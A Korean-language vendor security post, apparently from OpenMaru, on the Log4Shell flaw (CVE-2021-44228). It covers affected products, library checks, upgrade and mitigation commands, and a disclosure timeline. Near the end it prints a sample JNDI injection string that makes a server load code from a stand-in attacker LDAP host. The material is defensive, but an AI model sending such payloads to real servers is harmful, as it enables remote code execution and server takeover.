Apache Log4j 2 원격코드 실행 취약점(CVE-2021-44228) 은?
Java 기반 오픈 소스 로깅 라이브러리인 Apache Log4j에는 보안 상의 심각한 취약점이 있음이 확인되었습니다.
이 취약점은 CVE-2021-44228로 등록되었습니다. <https://nvd.nist.gov/vuln/detail/CVE-2021-44228>
Apache Log4j가 실행되는 서버에서 원격 취약점을 악용하여 조작된 데이터를 전송하여 임의의 코드를 실행할 수 있습니다.
구체적으로는 Apache Log4j에는 Lookup이라는 기능이 있으며 로그로 기록 된 문자열에서 부분의 문자열을 변수로 바꿉니다.
그 중 JNDI Lookup 기능이 악용되면 원격 제3자가 조작한 문자열을 전송하고 Log4j가 로그로 기록함으로써 Log4j는 Lookup에 의해 지정된서버 또는 내부 경로로부터 java class 파일을 읽고 실행하면 임의의 코드가 실행될 수 있습니다.
또한 Apache Log4j를 사용하는 애플리케이션 및 소프트웨어 등으로 향후 보안 업데이트가 공개될 수 있습니다. 관련 정보를 주시하고, 필요한 대책이나 대응을 해야 합니다.
오픈나루 공급 제품과 관한 Log4J 취약점 내용 정리
오픈나루에서 공급하고 있는 제품을 포함한 일반적인 환경에 대해서 조치할 수 있는 방법도 함께 공유드립니다.
OPENMARU APM
- OPENMARU APM은 Log4j 1.2.17 버전을 사용하여 해당사항 없음
OPENMARU APMPENMARU CLUSTER
- OPENMARU CLUSTER은 Log4j 1.2.17 버전을 사용하여 해당사항 없음
JBoss EAP 6/7
- 해당사항 없음
- 애플리케이션에서 log4j2 라이브러리를 사용하는지 확인ls -al /${application_path}/WEB-INF/lib/log4j*
log4j-api-2.14.0.jar
log4j-core-2.14.0.jar #2.xx.xx일 경우 조치 대상 - 애플리케이션에서 Log4j 2버전을 사용하면 아래 3가지 방안 중 한가지를 선택해 조치해야 함.
- log4j 2.15 버전으로 업그레이드(모든 버전에 대해 권장사항)
개발자조치 필요 - 시스템 프로퍼티 옵션 설정(2.10 ~ 2.14.1 버전일 경우, 1안 적용이 불가할 경우에 한해 적용)
–Dlog4j2.formatMsgNoLookups=true - JndiLookup 클래스 제거(2.0-beta9 ~ 2.10.0 버전일 경우, 1안 적용이 불가할 경우에 한해 적용)
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- log4j 2.15 버전으로 업그레이드(모든 버전에 대해 권장사항)
- 참고자료
JBoss Web Server
- 해당사항 없음
- 애플리케이션에서 log4j2 라이브러리를 사용하는지 확인ls -al /${application_path}/WEB-INF/lib/log4j*
log4j-api-2.14.0.jar
log4j-core-2.14.0.jar #2.xx.xx일 경우 조치 대상 - 애플리케이션에서 Log4j 2버전을 사용하면 아래 3가지 방안중 한가지를 선택해 조치해야 함.
- log4j 2.15 버전으로 업그레이드(모든 버전에 대해 권장사항)
개발자조치 필요 - 시스템 프로퍼티 옵션 설정(2.10 ~ 2.14.1 버전 에 대해 1안 적용이 불가할 경우에 한해 적용)
–Dlog4j2.formatMsgNoLookups=true - JndiLookup 클래스 제거(2.0-beta9 ~ 2.10.0 버전 에 대해 1안 적용이 불가할 경우에 한해 적용)
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- log4j 2.15 버전으로 업그레이드(모든 버전에 대해 권장사항)
OpenShift 3/4
- OpenShift Logging에서 사용하는 ElasticSearch의 설정을 변경하여야 함# oc set env -c elasticsearch replicaset/ ES_JAVA_OPTS=”-Dlog4j2.formatMsgNoLookups=true”
# oc scale replicaset/ –replicas=0 # 새로운 Pod가 뜸# oc set env -c elasticsearch pods -l component=elasticsearch –list | grep ES_JAVA_OPTS # Pod의 환경변수 확인
ES_JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true
Log4J 취약점의 히스토리를 살펴보면 다음과 같습니다.
2017년 7월 13일 – Lookup 플러그인에 jndi을 추가하는 이슈를 통해 log4j_2.0-beta9 버전에 최초로 취약점 삽입. (https://issues.apache.org/jira/browse/LOG4J2-313)
2021년 11월 24일 – 알리바바 클라우드 보안팀의 Chen Zhaojun가 취약점 발견
2021년 11월 24일 – 알리바바 클라우드 보안팀의 Chen Zhaojun가 취약점 발견
2021년 11월 30일 – 해당 문제를 수정하는 PR이 log4j 깃허브 등록
2021년 12월06일 – 픽스된 버전인 log4j_2.15.0 GA
2021년 12월10일 – GitHub Advisory Database에 CVE-2021-44228 취약점이 게재
이번 취약점의 문제는 ?
자그마치 8년이란 시간동안 취약점이 유지된 이번 사태에 대해 글로벌 사이버 보안회사 Tenable 에서는 ‘하트블리드와 CPU 게이트 따위는 비교도 안 될 만큼, 컴퓨터 인터넷 역사를 통틀어 사상 최악의 보안 결함일 수도 있다’고 경고하기도 했습니다.
인터넷에 게제된 수많은 PoC 처럼 서버에 ${jndi:ldap://example.com/a} URL을 전송하면, 공격자가 제어하는 원격 LDAP 서버 example.com에 접속하여 악의적인 코드 및 쉘을 획득할 수 있고
그 과정은 생각보다 간단합니다.
직접 본 취약점을 통해 원격지 서버에 명령어를 수행해보겠습니다.
-
원격파일생성
-
원격 파일삭제
위 예제에서 볼 수 있듯 CVE-2021-44228 취약점은 서버의 쉘을 탈취해서 심각한 문제을 유발할 수 있기때문에 반드시 이를 패치하거나 해당 기능을 비활성화해야 합니다.
위에서 설명드린 것과 같이 가장 권장되는 조치 방안은 라이브러리 자체의 버전을 올리는 것입니다.
프로퍼티 옵션을 추가하거나 해당 라이브러리를 재 패키징하는 것은 운영환경의 여러요소들에 의해 원복되어 취약점이 다시 활성화될 여지가 있기때문입니다.
이번 포스팅의 내용과 아래 참고자료 링크의 본문을 통해 운영하고 있는 서비스에 대해 점검 및 조치를 진행하셔서
좀더 안전하게 서비스를 유지하셨으면 합니다.
추가적인 궁금증이 있으실 경우.
오픈마루 박준영 영업대표를 통해 언제든지 문의 부탁드립니다^^
References & Related Links
- https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend/
- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- https://access.redhat.com/security/vulnerabilities/RHSB-2021-009
- https://access.redhat.com/security/cve/cve-2021-44228
- https://github.com/christophetd/log4shell-vulnerable-app